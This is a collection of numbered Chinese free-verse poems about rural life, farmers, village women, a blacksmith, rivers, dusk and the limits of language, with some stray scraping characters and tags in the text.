并在农耕的一棵树下找到了庄子和庄周。 坐在了土地的深处， 很深的时候来把我们拒绝。 取代217 《取代》 让我取代了人，而把人埋入历史的图里面。 让我带着感激而不知道要去感激谁的阅读 让阅读在不经意间发生 一直是无知和幼稚，借此我窥见自己贫乏的一生。 那就让我脱离村庄，脱离实际， 实际上我早已经脱离来了上个世纪的七八十年代了。 我只是听到了如一个沉重的事物 经过了历史的书籍而天空一般遥远的放弃和颠倒 所以，我希望书籍亲缘于手电筒， 希望寻找关系于屋舍很少被光顾的储物间。 甚至，希望今天会降下大雨，闻所未闻，见所未见 一双双睁大卡姿兰大眼睛，只有河流流向的荒诞 又席卷了它自己不给人留下片缕的中途和起点。 所以，这是一个人被代b，一个人因此沉默 一个人因此因因此而不得不乔装打扮，成好人善人之夜 是女人之夜，便永隔一江水。 是你，我就找不到你。 我合上书，扉页坚硬如钢铁的18厘米 而它因此的更坚硬，像书写于耳的道义 在锻造和历s每每失败的乐此不彼之间。 农民218 《农民》 农民，农民 直到抵达我舌根的深处。 我的牙齿禁不住颤抖， 上与下第一次无辜又无奈的打架。 你是我的咬碎而出， 农民，为何你只守着一个方向 苦难，顽固，成为了农耕。 无论219 《无论》 无论什么事情， 所损耗的都是人的肉体， 坚决不信的那一部分属于年轻， 穿过太过菲薄的花瓣， 有人因为美色而改邪归正 只在花朵上面留下的一个窟窿也属于他 我却不能欲言又止。所以， 难不成我说的只是自己， 我怕走夜路，所以就猜测出了历史 正在夜晚的天空舒展它的身子骨。 轻拍身体，以示抗议，灯火越来越泯灭人性 男人从楼下，肥胖之躯专练下三路， 钢筋铁骨有时候如尿喷出。 这衣服里湿外干，这天气真怕被人儿耳聪目明 语言被五花大绑，就成了潇潇洒洒锦衣夜行的 另一件。 老哥，可否让我也摸到一把丰乳肥臀， 那如坐针毡的刺，太阳残留在高楼里的芒。 男人最终扭头彻底的进了大楼， 我的语言只有漂白这一个目的， 漂浮，居无定所。 焚毁的床铺，坑脏的卫生间，叽叽喳喳的七大姑八大姨 如今，我也准备步入其行列， 我见过的那种空，像某种无声抗议，像嘲讽 空的太空，需要补上。大体如此。 妻子220 《妻子》 春天会有涨潮的时刻， 春天，在岸边的桃花太过娇羞和美丽 一直在跟你对话和斗嘴 直到如今才趁着时机成熟， 脸颊绯红一片， 作势生气不想理你了。 等待桃花，等待更多如果子漫长而丰满的日子 反问里面还是等待一个男人 坦诚自己的错误和粗枝大叶呢。 如果没有我也是不行的， 涨潮已经是一种痴狂， 饮酒之人依然懂得， 江边的木舟因承载不了历史和爱意 起起落落 而需要摔在离岸边更远的地方。 我已经不是第一个不信的人了， 摘下一片叶子， 请回到你江水，可以清醒的寓所。 存在221 《存在》 有和存在，事物特别容易 就消弭在它的中途。 或者，在我说出它的时候 以一个很显然的，笼统但永恒准确的名称 以事物， 我遮盖住了茫茫荒野，奔腾的水路， 我害怕这一些东西， 畏惧于一切的正是了人类这一个整体。 事物的出处来自于这种端详时刻， 仿佛有一种人道主义，自始至终 涉及着人脆弱的怜悯。 泥土222 《泥土》 泥土，是风对土地吹皱的东西。 但土地上不会存在一个嘴唇。 一个应答的想象， 不会迎来嘲讽， 瘦弱的影子模糊， 不会落于幽处。 微笑223 《微笑》 在微笑的面容旁边， 放一条木船。 干燥和潮润，心中伟岸的情郎， 年轻的情郎度过了江水 静静地站在了那里。 我也拥有这样子的一双明亮眼睛 雪亮是黑夜里面明亮的眸 接下来要说的话语 事先已经把我来规定 我听到了句子在风里面 被吹的歪歪斜斜，如此的浪漫 听到了“来吧”， 便匆匆的与故乡的一切做了告别。 自在224 《自在》 自由自在的走和行， 这种话语最是无知，最容易伤人。 在人的口腔外面被语言的追兵所堵截， 再不济，在一双双嘴唇外面处处碰壁，由此 辛苦的把成熟换来。 一颗心要是铁做的，冰冷与任性。 走的自由过度， 就会伤害到一颗石头。 一颗石头自由自在的走，停在那里 怎么会有着无限的宇宙。 一株植物自由自在的走， 柔软的叶子，脆弱的叶子， 随风左右与来回。 你的语言也已经厌倦， 你也厌倦了谈到流水 和那些不经过观察的时日。 但你只是在旷野上丢掉自己的名字， 转瞬，风的寒冷，夜的孤独，又使你投降 伴随着那些加固的难以察觉， 被称作了认识， 冲着对象， 一像一次新的轮回。 乡下女人225 《乡下》 乡下一位女人活的慢悠悠， 把天边的云正一点点的准备， 织成它傍晚的模样。 乡下女人收不到我写给她的一封信， 我很想她能收到，能阅读，那会 占用她一部分的时间用来叹息。 她甚至会思索和回想， 我是谁，为什么要给她写信， 出于某种什么样的心理。 她发现这一切都无从查询， 对她而言， 我同样是远方一个符号一般的陌生人。 一个男人给一个素不相识的女人写信 本身就是一种突发奇想的浪漫主义 像素色的花朵在片刻的短暂里面存活，叫做了春天。 某一些笃定的东西深信不疑的被当做了基础， 我们为这短暂而共同的扼腕叹息， 夕阳正映着你绯红的脸颊， 村庄总是苦难的，人 也不一定是心地善良的。 阅读过了那些涉及农村辛劳， 认定流逝只有在农村才变得缓慢的诗歌 或许，这才是一种明证， 与你试图探讨。 女人226 《女人》 乡下女人， 乡下的女人 我从故乡的离开我想告诉你 我的离开像石头挪移 从这里到那里 苦难的某一种事物身体的内部 仿佛什么也没有发生。 我怕的是，什么也不会发生 乡下的女人你的一生都因此 在一种沙哑的声音里面，被形容。 坐在藤椅上面的你这人儿吆， 像葬送的这样子的一句话， 有时候像一句诗歌， 因为日子太过于漫长了， 对生命而言，你还年轻 重新的坐了下来。 热情227 《热情》 他怀有热情的一生， 对于短暂。 对人的话语来说， 情意里，特别是女子柔软的特别。 他那被一生怀有的是不知所措的情绪， 是樟树影落在了女人的身体而女人 则试图在男人吐露出来的依然不够上 徐徐降落。 那很慢， 发生则经过了语言。在之后 必然又被许许多多的开门袭扰的无法分清。 一个落在了历史中人只能是过分热情的， 像火炉 下面的柴火， 但并不是滚烫的时候， 那些一路向下对人们思绪的伴随 或许，就是了。 下来的228 《下来的人》 那人从远处一点点的下来 那副面孔听到了我在山脚的猜测。 那副面孔， \/ 热闹的时候是婴儿， 和少年。 失望的时则是满脸皱纹的老年人。 \/ 但行走的矫健随后反驳我， 甚至力量的充沛会反驳语言。 对一个人陌生人推心置腹的后果， 我无理的猜测着，之前 山谷曾有过的对话。 \/ 许许多多的人事实上 只是共用了一副面孔。 语言和准备也是一副面孔， 长久隐秘的难以察觉， 并不是出于有意 而原因于不曾料想。 \/ 我们为今天所特意准备的表情， 是哪一种呢。 中途偶尔会遇到下雨， 天气预报不是那么准确。 再不济多云的时候， 心也会一副愁容的样子。 人类229 《人类》 “所有人类的通病， 身体上偶然的发觉 是孤独，寂寞 它们像一双手，在形容和比喻的对岸 走了过去， 到达了目的地，它们是 一双手从我们的出生就用孤独和寂寞 让我们忘记了恐惧”。 我们多么的孤独， 在热闹里面。 明证的时刻在绝不相信里面。 很多事物被一一的打开， 并不是一下子，那只是 语言表达上面变得轻而易举。 我的父辈不可能如此对我讲述， 寻找一对褐色的，旱烟熏过的牙齿 最底层的生命也有奄奄一息的机会。 在我发现恐惧的时候， 我的爷爷已经成为了它的奴仆 那不是一种奠基， 只是对于此我绝对的确认。 树上230 《树上》 树上的鸟巢越搭越高， 涉及的人的事物 如果放在鸟巢里面 动词的鸟巢，那垒窝的时刻 如果是一根树枝。 如果那正是我踩过的水洼 春日里蒸腾着的雾气， 使我解释不清楚， 有关于鸟巢的突然之间的好奇 也一样。 但后一个匆匆的就失去了。 江边231 《江边》 如果我能放松下来， 江边就会在夜里响起叮叮当当的掉落声音。 想起一支空空的酒杯，在醉意里面 实则醉过了头，醉的想起了人类的语言之中， 说着。提起了人儿在水和粮食中的嘴唇， 便响起很是严肃的人世艰难的告诫。 干脆就做一只杯子好了，干脆，叹息于 空空的酒杯。一个人的孤独正是一座城市的孤独。 这是我的孤独，是粮食在酿酒的途中出了些许的差错 而这是粮食腐烂的孤独。 我的梦第一次来到了西南的江边， 叫不出江水的名字，我也早早的，视历史的积累 在笑话里面是数不清的埋没。 而今，一个个普通的农民，工人，船夫都睡了。 就到船夫为止吧， 那些浪漫的东西正丛生， 我突然有一点点的放松，那浪漫 正一点点的放松的 停在了那里。 很累232 《很累》 我感到头很累， 身体隐隐作痛， 眼睛很累， 精神疲倦。 一放松我就得到了这些， 我说得到而不是发现，那些 是需要我去推开窗才能 看到 和得到的。 看和得也是。意味着我从 贪婪之中来 已经在了一种惩罚性的后果中了。 想到233 《想到》 我一想到她呀， 她的眉头就轻轻的皱了一下。 但这里也是夜色， 我并不能看清身边流淌的江水， 是何种模样。如果浪漫可以代替所有的词语 那行走在街上的人也是浪漫的。 我想到了她住在遥远家乡的村子里面， 正独自一个人正面对着土地的荒凉。 我想到土地素面朝天， 白天挨了很多脚， 来自于锄头和耕犁。 满天星斗把夜空点缀， 在寂静的夜晚，一个人， 搬一个藤椅， 趁着温度刚刚上升。 或者再多添一件衣服， 她自己喜欢的，爱 不释手的。 好像还是有那么一点点的微冷， 两只手紧了紧，怀中没有一只听话的小猫。 在故乡， 一个女人到达她平静的时刻， 原来也需要一个很长的过程啊。 烟尘224 《烟尘》 在尘世， 烟尘很多， 傍晚是由人们点起， 用柴火。 其实我们并不只是用它来生火。还会 拷问它的名字和身份， 为了如此， 我是一个农夫， 如果不够，那么你是我的妻子 因为拷问而抱起它们 有时火很旺， 正向着变大的方向， 你沉默不语。 有人225 《有人》 有人用砖头和石灰， 累了一个池子养荷花。那么 这个人就是张三，就是下午的张三。 我一问他，他就装神弄鬼， 他也需要这样的时刻。荷花一过， 形而上学就是了这之后岁月的名称。 就是张三这个名字，人就不会轻易的摔一跤 倾向于摔跤的那些人 像无法阻拦而在我阻拦他的嘴唇上面 才倾向于摔跤之人。 花开之后也是李四离了家，出了走 是我，我就问问您叫什么名字 在张三这个我模糊的名字上面， 嘲笑我笨拙的抒情。 唉。 思索226 《思索》 思索时的语言推不动石头 杜撰的回声， 走进了梦里是一个奇迹。 难不成，是那人儿提出的要求 这空落落的结果里面 喃喃自语之外还有些什么呢。 用思索的语言去推一块石头， 思索着这个思索 思索的石头里面， 你准备着，一生准备着。 打伤227 《打伤》 我相信有人可以用文字 打伤了你。 就像这一段话， 在时间拉长为了历史的事实里面 是截留。溅起的粉尘往往总是粮食。 在它们快要发芽之前挖出它们 从谷仓里面，重新的运出来晾晒。 我相信，经过了一整天1的劳作， 身体的疲惫让语言无处可去。 看着这样的案发现场， 用你的手儿，因为轻微的擦伤而按响了j铃 给我一江水让我看成永恒， 给我了支流， 我看到了你， 匆匆离开的身影 淹没在灯火里面。 黄了228 《黄了》 微不足道的人 常事我想到一片树叶。 春天的嫩绿才刚刚的开始， 就有一片黄了。 如果存在的体验确确实实是一种肤浅 把自己放置在春天的枯萎里面 被不负责任所推卸，春天里面所发出的 动静。 常常使我信以为真， 使我在事物表面的重复里面度过了漫长的岁月。 回应229 《回应》 言之有物， 我唤醒是事物本来的名字么。 事物没有回应， 我的手早已经不由自主的伸出， 不安，以抓握样子的张着。 我容易穿过春风而走进了迷途， 并推卸给了春风，怪罪于它。 事物的名字迫切需要被确定， 我渴望它像雨水下落一样准确。 我可以在温暖的室内听雨水滴落的声音， 听喧哗就是安静的意思， 我收获满满，恍然大悟感。 顿觉时间充裕，想， 走向心内那镜子一般，事物就是事物的顽固观念。 但我看到的， 只是一个下雨的傍晚， 我的孤独的心不自觉的成为了 烘托的背景。 成为了基石，却从来都比不上那些构件大坝的石头 也不如草地里面随意散落的石头 随意的承受无意义的胡思乱想却从不曾反驳 这使我觉得我是对的，路可以走通 这肤浅的生命犹如存在令人胆寒。 一个人有很多的身份，同样被很多的身份所拒绝 那不是我居住的小区， 门卫却没有拒绝我 我还在寻找着， 找到的时候，和没有找到的时候 和那些片缕 还有一些闪光一般，就匆匆遮蔽了我的。 敲打230 《别的》 我想去别的地方， 我已经因此而显得笨拙， 口语不清。我已经在了语言 它如此善良的围捕之中， 在中途，是稍稍喘息。 在一条河边映入眼帘的景色美丽， 这正是我想要说的部分， 言语的表达却总是被时间所代替 我忧伤于无人倾听 那是我的目标，为孤独的前行正名 我并不是走的太远， 最初的时候像空转的指针， 像被敲打的心，因为没有敲打的发生 仿佛日夜不停。 叶子231 《叶子》 微不足道的人 是一片叶子。 换行是最低程度因此沉默的尊重， 呵，这普s的精神 面对着树叶被风吹过， 而群体一一晃动的反驳。 更深的反驳来自于直观，并且 与眼见为实相互照应。 看到了树叶哗哗直响的人儿， 反驳个不停， 什么都反驳， 慢慢的眼睛就可以看得到， 我所看不见的， 人和他自己并不轻微的观点。 这里232 《这里》 这里没有一条运河， 一种可能， 像语言是处理站，语言也渴了 我只能把傍晚看到的一条河流记得清楚 记到了夜里，它模糊的形象 对于像我只能在四下无人的时候 才可以说话而清楚。 它实体的部分被获得了，但河流也沉睡 并没有经受这份赞誉， 这只是语言造物主一般的从施舍，到馈赠 发现失败了之后， 一个难以想象的人心内的委曲求全 那文字的“赞誉”的声音从牙缝之间悄悄的吐露 这现实的冰冷多少荒诞的触及。幻梦里面 除非要改变的人告诉了夜色一般的我 在这个听者的耳朵里面，一个回荡的声音， 也将会因为它的错误而迷途不知返， 进而，在那荒诞则是未来里面，屋舍破碎 要求我去阻止那些人类睡在大地上面的情景。 我与河水之间隔着傍晚， 傍晚与夜晚之间隔着的是我， 我再三的确认我是个说话的人，确认于 说话的声音，它的传出，那些它 试图传出去的。 远处233 《远处》 远处的院墙和河流是一体的， 因为我只是想象了它们。 我无法想象遥远， 凭空想象之中的它们，像幽处， 正被什么所慢慢落于上面。 山脉234 《山脉》 远处起伏的山脉 不是我的语言所能够描述。 山脚下的一个女人 她的一生也都被阴影一般的笼罩着。 一件可悲的事情， 一个肤浅之徒带着。 持有，一个反驳总是沉默的 这就是它具体的展现自己的形象， 并不是对人类， 我是一种伟大沉默具体的那一部分 于我以为自己不是的时候， 以为自己不是的时候仿佛有什么等待着 揭露，也是可以去揭露的。 无题235 《无题》 在铁匠用力捶打的时候 说出：一个文字是一个文字。 周围，是界河 纷纷的快要坠落的是星星， 颤巍巍的在语言里面颇有诗意。 如果这个人我认识， 这个铁匠允许了我的冒昧， 这是他日常生活的一部分 他极其平凡， 他的生活因此也受到了影响。 无题236 无题 《无题》 一个铁匠，用捶打与孤独对抗。 一下一下， 一锤一锤。 身上大汗淋漓， 直把夜晚过成了白天。 生物钟颠倒，生物钟迷乱 在白天，他或许为了赶工还会继续的捶打。 一个字他不认识， 他只去过故乡的那几条河流 河流边上生长着的树和 陡坡上面开出的野花， 正在做梦， 正被它一点点的向某个深处敲进去了。 倾向237 《倾向》 让相信的人有一个倾向 让相信的人寂寞于空山里面的独居生活。 干脆语言说出就意味着失去， 更有甚者， 说出就概不负责。 让我扑了一个空，而心满意足。 我并不想如此 看不到永恒， 某个归来的人手里打着灯笼， 草木繁盛， 在三月正走向四月的间隙里。 无题238 《无题》 一个铁匠，用力的在捶打。 声音在夜晚奔逃 ：这属于幸事的一部分 在不能放松和细心的时候。 在到来者离开的何其仓促那里 误解是重复，是事物的样子 仿佛递送了一个名字给我干瘦的嘴唇。 一个嘴巴不言语的人挥动铁锤 让我去给他把铁器烧红， 用力拉动了风箱。 如果我依然说着肤浅的话语， 并且这一切依然不可避免的持续。 但生命的脆弱不会投入其中， 那在火焰之中的可燃之物，此时也不是煤炭 也不会到达捶打。 暮色239 《暮色》 暮色属于我则是强烈的不安， 火烧云，矛盾的云， 在另一条通途上面回来。 属于别的事情则在另外一条道路上面 属于明朝，属于还没有回来的。 \/ 属于人，人则在远方 成疑， 大口的喘着气。 \/ 人是否能活在这样遐想般的不安里面， 我担忧于此， 暮色缓缓下落， 带着抚平一切的力量。 叶子240 《叶子》 微不足道这个群体真是多呀， 有风，屋檐， 土路，叶子。 一切美端坐于其俊俏上， 这一片叶子确实也美丽。 还有朴实和无华也围绕着它， 叶子的周围像漂浮着一层淡淡的雾气， 它依然很平静， 默不作声。 一切241 《一切》 一切都没有发生， 人，人甚至还在湮灭里面。 我是否太早了 人的良心，表面红色的薄膜 总是在对与错中颠倒 在言语里面把混乱制造。 暮色的近邻 和暮色相似的一种东西。 一种无形的东西。 为了把某一种事物确定下来， 安静被我们需要着。 徐徐下来的暮色，从傍晚的天空 到西山后面。 劳作242 《劳作》 劳作一天，就需要雾霭把群山覆盖。 对最简单的因果我们能做什么， 我们不满的是什么， 什么来自于土地，经过了我们， 在最娇嫩的嘴巴上面 那些之于人的身体而言， 像形状优美的曲线。 当你打破了沉默，你需要一个场合 当你开口说话，你就把它 当做了无形的曲线。 美丽已经从这里离开了， 美丽也是一种难以察觉的重复而美丽 因此预示着未来和赴驻行动， 也是美丽在你的话语里面被提及，震颤着 美丽的多重意思竟然如此奇妙的， 就在了我们的眼前， 你我都需要沉默一会， 令我们沉默的不是某一种哲理 群山在傍晚的起伏多么的应景。 向往243 《向往》 向往远方的是一位姑娘， 这里是劳作，田地， 布满了地里的荒草 一种持握把她抓的瘦弱。 一种空在慢慢的趁着暮色升起来。 她的心思却落在了别处， 她正给远处的山峦施加了 一种缓慢爬行的种幻想。 此刻她多么的耀眼， 快快的让这个姑娘回到农村， 只属于农村。 向往244 [cp]《向往》 向往远方的是一位姑娘， 坐在院子里面， 不久之后生出了坐在水塘边 看已近看过了一本书上内容的想法。 一朵花实为压弯了夕阳， 这里，劳作和田地， 布满了地里的荒草 一种持握把她抓的瘦弱，长久。 一种空在慢慢的趁着暮色升起来 她的心思落在了别处。 远山正被她所影响， 这傍晚的夕阳很美丽， 就像她一个样子。[\/cp] 四月245 《四月》 四月取下清脆的耳环， 去寻找， 会找到的是空空无果的回声， 五月的杂音甚至更加的泛滥， 有人的心意，有什么也属于别的事物的心意 有人的心意从别的事物上面生长， 抬起垫高。 人的形象过分的美丽， 因此终会扑了一个空。 人的形象像水不是水， 也不是， 当他的形象是一个过程的扑空， 在决意舍弃而只留的只言片语的勇气那里 最先等待我们的满地荒芜， 你在上面添加了凭证， 像某一种确定， 同时也有一种刚刚逝去的被回忆起来 如同一种因果 人的形象像水也不是水， 像别的，则 犹如一种快要化作一缕青烟的那种危险。 那里246 《那里》 人在那里， 影子落在地上。 是影子很容易就落在了空处 违背人最初的意思， 没有什么声音书信一般载着菲菲 花瓣一般的春雪。 没有，作为个体， 会带来什么。 人需要站在地上或者就那么尽量的 一直站着。 站的太久的人很容易使我成为，今天 早晨的一个信使。 我被多么准确的命定， 而又有一阵阵的糊涂， 正在别人那里因寂寞而泛起。 群山247 《群山》 我应该首先放松下来， 我应该首先是人， 人被我望着，两束目光注视下的 竟然仿若不知。 但它不会滑向，风筝一般比喻的滑向别处。 那些山是空着的，此刻 这是它最美的人已经暗示到达了的风景 而我面对着的，思与想 所作所为是人由一摊肢体和肉组成 在一个没有完成的拼凑历程里面看一看群山， 返回来的是因果，二者 是一个东西。 对方248 《对方》 我与青，互听不见对方。 呵，那些落于幽处的何时才能再次出现。 水上面何时才能 涌动的泉眼泛起，打碎月光的漂浮。 对于更为长久， 也为了更为长久， 它早有了心理准备。 在它破碎的时刻它依然是一颗月亮 碎成了大片。 在水上面是它的一双手儿， 忙碌着。 导致了水的不满。 胡言249 《胡言》 落于幽处一定大有深意， 甚至两个人， 加上密室里面的合谋。 我们所谈论的也只是它的表层， 在肤浅之处停留， 为了不在肤浅之处存活， 也在思想之中，通过闪光一般的断片 我们看到了自己的肤浅， 对于我们的一生， 一种一生肤浅的真相正， 傍晚黑暗一般的袭来。 不像我们可以在夜晚沉睡， 现在的不像幼儿之人， 长大有了自己的语言， 说着的是沉默，裹藏的是畏惧。 落于幽处也有可能一生，都因为 我们此刻的活生生和活着 而不会发生。 有可能我就只是活在像这样的一个 难以理清的因果关系上面 ： 缘何我会不断的追问，不得安宁 不会发生的因此而发生， 难道正是一种伟大而隐秘者的到来？ 不是250 《不是》 我不是第一个， 也不是最后一个。 迷离的雾气蒸腾， 我不是。 对我前面的那个来说， 我是他的前一个。 对我面前摊开的历史课本来说 说话的声音萦绕又脱离， 我是那个分道扬镳者所带来惊奇 在沉睡里面要有充足的力气才好醒来 为在一种永恒的重复里面 为了在这种循环中。 什么251 《什么》 什么也没有发生， 傍晚的星星如横陈在天空更早的河流。 我没有给什么以压力， 让它备受折磨，精神困苦而犹豫不前 西山的另一面大为精彩， 事物囤聚在那里彼此的挤压，热闹非凡。 这直接的影响了我的语言， 慢慢的我也热爱这一些断章，在为此的正名 仿佛涉及人的处境，人的尊严， 在那里我站着如一株青草。 我也爱上了这些谓之以诗 我相信在天空会因为人的处境是共同的 而爱横亘在对岸 等待它的出现和到来却需要耐心与舍得 它们也不易寻找， 只是傍晚的一颗星， 就被代表了。那颗星，来的稍早了些。 无题252 《无题》 我在心里面想，而外面不在吐露。 我也就是了在心里面更加向往平静 相比而言，我已经遗失的部分， 我所得到，我所收获。 在心里面有一场秋天的收割， 在春天我与万物一样，尊重并不必要， 像共同的正面对同一个东西。 无题253 《无题》 群山在大地上投下了巨大的影子， 功劳来自于太阳，默默无闻流转着。 像在土地上面把种子撒下， 清晨，中午和傍晚洒落下来的并不相同。 汽车闯入阴影里面时， 我喜欢这样的画面， 我觉得这是极简的， 一直在里面走着的这一段时间。 窗户254 《窗户》 窗里很容易寂寞千秋， 这太容易了， 像你不相信就动动手和指头，数数 一个日子在一个数学符号的具体序列之中。 它的清愁属于别的， 别的因此更远。 数的人没有对这份因遥远而带来的关联 太过好奇的心意。 愁的人也不是我，不会因为我的看着 而自乱了阵脚。 秋天的院子不会只一阵喧响， 走动的声音不会因为思索的贫瘠和急切 人不会因为试图暴怒而 晃动的树枝不会对手掌妥协。 我不会成为别人，别人不会更为寂寞而成为了 那一个人。 那种具体的是傍晚金色的阳光 和树叶的参与。 是院落的敞开，逃离在日渐荒芜里面逃离。 人被这些东西左右着才成为了老人 一条很慢的路， 走的很慢， 一条很隐蔽的路， 使我们发出了有关于隐蔽的无力叹息。 砖头255 《砖头》 曾被我持握的一块， 如今已在了众多的砖头中。 多出来的一面墙壁，支撑起来的， 它所回忆是仅有过的一次温热。 我的亲人就住在这面墙壁所组成的房子里面， 只有趁着他们熟睡 间隙留出。 万物以不可想象之姿， 在墙壁与它那过去的再也不可到达之间， 星星银辉一般的洒下。 青草256 《青草》 青草最初的告白就是它属于事物， 它包含了自己所有的可能性。 承受着从人嘴里吐出的事物之名。 但像人一样，它把简单的裸露在外， 成为了外表。语言的描述袭扰着它， 在山坡，河边，尘世 这些不可避免又在人良心忏悔的可疑里面 被追溯为美丽。 朴素被美丽所表示， 在它的体内就会有一封书信， 内容把矛盾书写 而植物却实际上无力承担的方式 寄送给了人类。 以青草所表示的， 用里和外所表达的 两种东西，有并行和交叉的可能。 有时候是一件东西， 但已经在了交叉之中形成缠绕的形状。 我只是听见了一声， 追悔莫及的叹息。 一个人已经无力于解决，他陷得太深了 深就像把身边的一棵青草直接拔除掉 一样的简单又因此困难。 观察257 《观察》 别人会观察我， 我的行迹后来成为了贫乏的历史。 我会被别人看着 两种语言彼此相撞， 为了表达同一个意思， 这个途径沉默的撞击， 却在小路，村庄，城市和遥远的地方 都没有声音。 我随手捡起的东西将具有一种 未来的属性， 与人类的这一个关系， 按图索骥，共享一个名字的花朵们 植物们，同样也是一个大的家族。 仿佛只有经过了与人的亲近 人的首肯是它们生存繁衍的首要条件， 思想的偏差因贫乏而掩面 去到了别处， 又不经意间， 以形式和标准。作为标准， 那些观察者是我的后代， 作为我的一部分， 从未来投来的呼唤中 子嗣挣扎着呼唤，繁衍的要务 甚至也是植物所必须的。 喝酒258 《喝酒》 喝了烈酒只会隐去他与我 之间的关系，他的身份只会明亮如珠 把周围照亮， 一片寂寞。 在新的环境里面语言的下场 如同一匹白马走向了战场之前， 仅仅翻阅一座高山就已经被吓得心惊胆寒 染血的只是过去语言的恐吓 这同样让卧倒一匹长嘶里面 裸露出来的书生 只能在屋舍里面拼命的书写而 可笑的续命。 也有人会走向酒，而酒与沙场有着 历史未尽的亲缘。 我是一个走向沙场的人， 喝了酒你也不会知道我会载誉而归， 觥筹之间尽是关山难越 先我到达这里的语言 在我行走的路上， 发出着星辉一般破碎的微微声音， 不够259 《不够》 一定是死的不够， 死了之后依然还会被袭扰 树间疏密的光线垂下 或者偶尔的一声鸟叫 在慢慢变作的追责里面也会被当做了原因。 被删去的 和被删去的情形 人的胳膊轻微的动了一下， 轻轻的触碰就足以证明人是活着的 人是活者。 人原来是，活的有所对应而感受到了恐惧阵阵。 活动不能在阵阵如黑暗匆匆降临一般 来不及收拾我们的庄稼，牛羊，院落。 前一个人死于非命，偏又死的安详，落于沉默 你我是下一个 我们共同袒露的是别的东西， 如果充分需要以不够来对比， 像死亡一直压住了生， 从沉默的不知所措来到了这里 有时候只是嘟囔着命运，命运 祈求能够变作一支历史中的竹笛。 意乱260 《意乱》 我因为焦虑而意乱情迷， 成一个他人眼中的误解。 又通过了他人，这个我没有说出 如甬道的东西而折返。 我通过对话才能去把对话的意义质疑， 我穿过的是别人与文字 而通过植物的亲密无间。 成为文字表明一颗心的低调和独处 我解不开的是悲伤 看不到以迟来的悲所做出的布告和怜悯。 我觉得，怜悯可疑 觉得人，你我，都需要一个和一个个的反转 的困难。 如果活成简单就容易拔出腰间的快刀 那一句古老的谚语，某个人被乱麻袭扰的 不胜其烦， 那一定是一个古代的读书之人。 那一定用毛笔和文字，把今天试着推测和占卜。 我喜欢这种回答的另一种形式， 寄托于明天， 沉默于江水的伫立。 不言不语是两种东西，有时候 经过了落日一照就在晚来迟中 姗姗来迟的变作了两种事物。 给稀少甚至在最为普遍的意义上面 是反过来， 草木为春， 如此努力的生长。而如果 我希望回来，这些文字 并没有因为灾难的事关而压得我快要垮掉。 我在佝偻的形象里面 同样沐浴着傍晚的夕阳， 我甚至开始知道了， 傍晚呼唤的声音，里面充满了空隙。 历史相比于道路更像满布 又遗失和悲伤的网络， 那些被寄放于植物的，是 慢慢形成而充满了误解的历史， 当它正在发生的时候 当此刻 当我有一些仿佛获知的和因此平静的心理， 走向江水边的那个人 希望这个历程远一些，希望他 活，和活的简简单单 农村被苦难想象，我跟他谈的是同一个 俗套的东西， 他发出一声类似羊的叫声， 但那些远处饮水一般的波浪， 并不会边界一般的使我停滞不前， 那种在伫立之中的人的骄傲和傲慢 不是恶意，不会更多，不会抵达于酒 是一种需要更多阐释的好东西。 无人261 《无人》 夜里无事可做， 无人渡河过桥， 无人会接受一个邀约的一而再再而三 无人不是在因果里面心甘情愿的寂寞。 只有我 被我望见。只有我的火烛 在心脏一般的室内跳跃 整个宇宙处于了一种担心。 只有我可以分割出别人， 别人之中的男人和女人，心事里面的快刀 不闻不问于官f。 夜色的口袋实在是一大烂摊子事情被情爱的表示 爱情精疲力尽的被不同时代的人们 换着嘴唇人工呼吸，又站在人类的心脏上面 向着未来眺望。 仅就这个隔墙有耳而贴墙是我的姿势， 山上的房子， 临面空的处境， 我什么没听见， 一种无在天气预报的水分里面 干了，被过滤，但仍需要一个过程。 酒的262 《酒的》 酒的部分或许有一种粮食的传统， 当脱离土地事实上的发生， 酒的部分自我猜疑， 而落为了实物。 面对着人这动词一般，此刻的美丽， 此刻借着灯火正试图向着那过分的美丽，而 把人言避开的企图以至于落空。 酒通过了人而摔打了自己， 人不痛，痛的是酒。 诗歌的出处总回到粮食，一次次的 念起和独白又让它不得不回返。 而这便让一条巷子越来越寂寞，越来越 深的开放在春天如花。 端起面前的酒杯， 像端起我生命被割舍的一部分， 作为一个哑口无言的人我无法接受命运的安排 仅仅从那些最为朦胧的表面脱落 而成为了我的， 也依然令我困惑不已。 相对263 《相对》 池塘边的渡鸦，已是庸俗的意思。 这句话不如不说， 倒不如在说之前， 相对庸俗而言的一切， 缺失的和具体的，令我们难以想象的一切 在未来都被相对而言的表达。 我爱，爱的完满里面空壳坚硬， 面对这种向上升起，但与我们有关而 很是缓慢的顽固， 在未来形状里面它们通过了语言 凭借了语言， 在语言和话语之间做出切割， 作为一种尝试，它是失败的。 作为我个人而言， 首先得也使得并不是贫乏。 那些活生生的如夜晚的窗，有着勾引我 推开而看到星星的企图。 江边264 《江边》 我应该去找我媳妇了， 如果这d疼不能实现 我就在心里面说话。 观江水， 把苦闷的欲穷千里目映照在 江水上面。 人只是在任意的地方活蹦乱跳，听闻了 自己在江面人不见的消息。 人在江边，两岸活动， 在命运的束缚上面活动。 在语言的说出和因此的停顿上面活动， 同情于这之间， 像我们一样的人们纷纷落下。 让江边的村民一生困苦可以有很多的解释， 让他鲜活，此刻被隐去，但 又在我的来访之中， 敲动他内心僵化又生命的门铃， 我经过了土地和旅程上面的现代化， 和现代化之后对土地的含混不清的怀念 重新塑造的尝试， 但我敲动的是你的心， 门铃一般的心意只会升上夜空 事情只能发生在夜里， 退一步讲，我只能安宁 对最为简单的事物我只能熟悉， 对于江水我只能陌生， 我退回到了对滔滔流淌的恐惧里面 一盏烛火在水流的深处。 可能265 《可能》 利万物而不争的可能并不是水， 在水的表面激荡起一阵波浪 水如今只是一缕幽魂。 坐在室内，我多么贫乏， 联想会引起的都只是，在悠长的巷子 回来一阵轻笑。 但笑我， 怒你， 又要使你在思想之中愤然而起。 你与我不可区分， 你使我在夜晚自成悬疑。 使我怀疑的是否是别人， 是否你正是在别人的身份里面 终难耐寂寞而我的语言 却因为贫乏而成为一缕契机。 你徐徐而出，很慢，有回溯一般的担心 也包括在其内。 月落266 《月落》 月落乌啼霜满天， 它落在了哪里呀，它并没有指明。 文字的一对隐隐隆起， 下坠的日子遥远成r房。 这些居民活在这里，也可以这样活着 他们等待一个时刻，他们等待我 他们是我的语气， 他们是居住的隐秘而活在我的嘴唇 更里面的牙齿里。 我用牙齿的坚硬， 说出的东西依据整个身体里的最坚实 经过了文字不断的选择和处理 也经过我焦虑的心。 我已经是一个赎罪的人经过了这一个阶段， 